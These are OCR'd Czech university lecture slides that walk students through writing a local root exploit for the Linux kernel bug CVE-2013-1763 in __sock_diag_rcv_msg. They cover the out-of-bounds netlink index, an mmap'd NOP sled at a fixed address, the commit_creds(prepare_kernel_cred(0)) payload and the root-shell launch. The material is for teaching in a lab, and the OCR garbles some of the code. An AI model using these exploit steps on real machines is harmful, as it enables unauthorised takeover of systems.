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Exploit ve 2 hodinach

@ Vybér chyby a jeji popis

e Psani exploitu
@ Vykonani __sock_diag_rcv_msg
@ Dosazeni chyby ve funkci
@ Spusténi rootovského shellu
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Sekce 1

Vybér chyby a jeji popis
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Vybér chyby

@ Exploit database

@ http://www.exploit-db.com/
@ Pres 30’000 exploitt

@ Nejen pro Linuxové jadro
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http://www.exploit-db.com/

Popis chyby

@ Zranitelnosti jsou Cislované

o CVE (http://cve.mitre.org/)
e Tato je CVE-2013-1763

@ Chyba ve funkci __sock_diag_rcv_msg
Obsluha zprav

Netlink rodina: AF_NETLINK

Diagnosticka vrstva: NETLINK_SOCK_DIAG

Typ zpravy: struct sock_diag_req (viz dale)
Zabalena v Netlink hlavi¢ce: struct nlmsghdr
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http://cve.mitre.org/

__sock_diag_rcv_msg

static const struct sock_diag_handler xsock_diag_handlers[AF_MAX]; /x AF_MAX is 41 %/

static int __sock_diag_rcv_msg(struct sk_buff xskb, struct nimsghdr «nlh) {
int err;
struct sock_diag_req *req = nlmsg_data(nlh);
const struct sock_diag_handler xhndl;

if (nimsg_len(nlh) < sizeof(xreq))
return —EINVAL;

if (req—>sdiag_family >= AF_MAX) /* commit 6e601a5356 x/
return —EINVAL;

mutex_lock(&sock_diag_table_mutex);
hndl = sock_diag_handlers[req—>sdiag_family]; /x use of user’s req—>sdiag_family (__u8) %/
if (hndl == NULL)
err = —ENOENT;
else
err = hndl—>dump(skb, nlh); /« dereference */
mutex_unlock(&sock_diag_table_mutex);

return err;
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Sekce 2

Psani exploitu
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Psani exploitu

Obecné

o Cte/zapisuje z/na uzivatelem dany ukazatel
@ Skace na uzivatelem danou adresu
o ...

e Pad
e DoS

@ Spustit uzivatellv kod
e Eskalace opravnéni
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@ Stahnéte si jadro

@ http://decibel.fi.muni.cz/"xslaby/ @ kernel-default-*
© Nainstalujte

@ rpm -ivh --oldpackage kernel-default-*

© Restartujte
© Nezapomente vybrat spravnou verzi v GRUBuU

Jiri Slaby (Fakulta informatiky, MU) PB173/04 13. 12. 2016 9/26


http://decibel.fi.muni.cz/~xslaby/

Psani exploitu

Pro __sock_diag_rcv_msg

@ Vykonat __sock_diag_rcv_msg
© Dostat se k chybé ve funkci

o Zneuzit !
© Spustit rootovsky shell
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Subsection 1

Vykonani __sock_diag_rcv_msg
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Vykonani funkce

Vytvoreni zpravy

Zprava SOCK_DIAG vrstvy

struct {
struct nimsghdr nlh; /+ Netlink header «/
struct sock_diag_req r; /x Message from user */

} req;

4

nlmsghdr

.nimsg_len = sizeof(req);
.nlmsg_type = SOCK_DIAG_BY_FAMILY;
.nimsg_flags = NLM_F_ROOT | NLM_F_MATCH | NLM_F_REQUEST;

.nimsg_seq = 123456;
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Vykonani funkce

Vytvoreni soketu

@ Vytvoreni soketu: socket

o Rodina: AF_NETLINK
o Protokol: NETLINK_SOCK_DIAG

@ Odeslani zpravy: send
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@ Vytvorte soket

@ Vytvorte a poslete zpravu

© Muizete pomoci ftrace ovéfit, Ze se funkce vykonala
@ /sys/kernel/debug/tracing/README
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Subsection 2

Dosazeni chyby ve funkci
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Dosazeni chyby ve funkci

Opakovani kédu jadra

static const struct sock_diag_handler xsock_diag_handlers[41];
struct sock_diag_req *req = nlimsg_data(nlh);
hndl = sock_diag_handlers[req—>sdiag_family];

“err = hndi—>dump(skb, nih);

sock_diag_req

_ u8 sdiag_family;
__u8 sdiag_protocol;
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@ Nastavte spravny prvek ve struct sock_diag_req
V jadfe je: hndl = sock_diag_handlers[req->sdiag_family]
Vy mate: req.r.sdiag_family
Nastavte na spravnou hodnotu
o Uvazte, Ze AF_MAX je 41
© Opét poslete takto upravenou zpravu
© Pozorujte pad
e Pokud péd nevidite, zvolte jinou hodnotu
@ Nebo pouzijte cyklus
© Restartujte systém
o Do spravného jadra
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Vyvolani specifické adresy

Opakovani kédu jadra

static const struct sock_diag_handler xsock_diag_handlers[41];
hndl = sock_diag_handlers[req—>sdiag_family];

merr = hndl—>dump(skb, nlh);

predvidatelnou
@ Index (req->sdiag_family) je __u8
@ Maximalni hodnota: 255

@ Muzeme se dostat na pamét v rozsahu od sock_diag_handlers do
sock_diag_handlers + 255 x* sizeof (ukazatel)
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Na co Ize skocit

Vynatek System.map

ffffffff82182f80 b sock_ diag_handlers
fiffffff62183330 b act_base

ffifffff82183340 B nl_table /« interesting */
ffiffii82183348 b _ key.43931

ffffffff82183380 b family_ht

struct
® hndl = sock_diag_handlers 282183340 -0x8218280 _ 980 — 120] ¢ n1_table

@ hndl->dump je na 8. bajtu ve struct sock_diag_handler
@ Vnl_table je naté pozici hash.rehash_time
e jiffies = predvidatelna hodnota
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BUG: unable to handle kernel paging request at 0000000100012a5¢c
IP: [<0000000100012a5¢c>] 0x100012a5¢c

Call Trace:

[< ffffffff81439e66 >] ? sock_diag_rcv_msg+0x76/0x130
[< ffffffff81439df0 >] ? sock diag_unregister+0x50/0x50
[< ffffffff81519145 >] ? ftrace_graph_caller+0x85/0x85
[< ffffffff81451659 >] netlink_rcv_skb+0xa9/0xc0

[< ffffffff81439d24 >] ? sock_diag_rcv+0x24/0x40

[< ffffffff81450c7a >] ? netlink_unicast+0xda/0x1b0

[< ffffffff8145107c >] ? netlink_sendmsg+0x32c/0x750
[< ffffffff8140eb6b >] ? sock_sendmsg+0x8b/0xcO

[« ffffffff81186d3d >] ? _ kmalloc+0x1cd/0x4a0

[< ffffffff81412103 >] ? sk_prot_alloc+0xb3/0x180

[< ffffffff81186047 >] ? kmem_cache_alloc_trace+0x207/0x450
[< ffffffff8140ecd1 >] ? SYSC_sendto+0xf1/0x180

[< ffffffff811a06ae >] ? alloc_file +0x1e/0xf0

[< ffffffff8140bcaf >] ? sock_alloc_file +0x9f/0x130

[< ffffffff811babaa >] ? _ fd_install +0x1a/0x40

[< ffffffff815192a9 >] ? system_call_fastpath+0x16/0x1b
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Mapovani adresy

@ Namapovat a naplnit smysluplnym kédem!
@ mmap na pfedem danou adresu

@ Prvni parametr: 0x0000000100000000

o Délka mapovani: dostate¢na (napf. 0x2000000)

e Ochrana: PROT_READ | PROT_WRITE | PROT_EXEC
VlajeCky: MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS

@ Vyplnit instrukci ret (0xc3 na x86)

namapujte a vyplnte
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Subsection 3

Spusténi rootovského shellu
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Eskalace opravnéni

Volani funkci jadra

@ Pod aktualnim procesem, v prostoru jadra, postacuje:
commit_creds (prepare_kernel_cred(0));

@ Najit adresu

o Napf. ze System.map
e UvaZzme adresu A funkce x()

@ Volat x() nepfimo
e void (xy) () = A;
vO;
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Eskalace opravnéni

Kéd

Kéd k eskalaci opravnéni
. . . . void __jump(void);
int (xcommit_creds)(unsigned long) = X; . d .
unsigned long (xprepare_kernel_cred)( T UL BT

Ul e IL)) S void jump_payload_not_used() {

. asm volatile ("__jump:\n"
il kern.el_code() { . "movq $kernel_code, %rax\n"
commit_creds(prepare_kernel_cred(0)); - W
return —1: jmpg *%rax\n
’ "__jump_end:\n");
} )
Exploit’s .text 0x100000000
int kernel_code() { :(r)nany nops=>
commit_creds(prepare_kernel_cred(0)); nog
) return —1; movq $kernel_code, Y%rax

jmpq *%rax
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Spusténi rootovského shellu

const unsigned long jump_sz = __jump_end — __jump;
memset(mmap_start, 0x90, mmap_size); /x 0x90 is 'nop’ /
memcpy(mmap_start + mmap_size — jump_sz, __jump, jump_sz);

if (!getuid()) /« am | really root? x/
system("/bin/sh");
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@ Pridejte si kod pro zavolani jadrem
o Ciassembler, ktery ho bude volat
@ Spustte si shell
e Po kontrole UID
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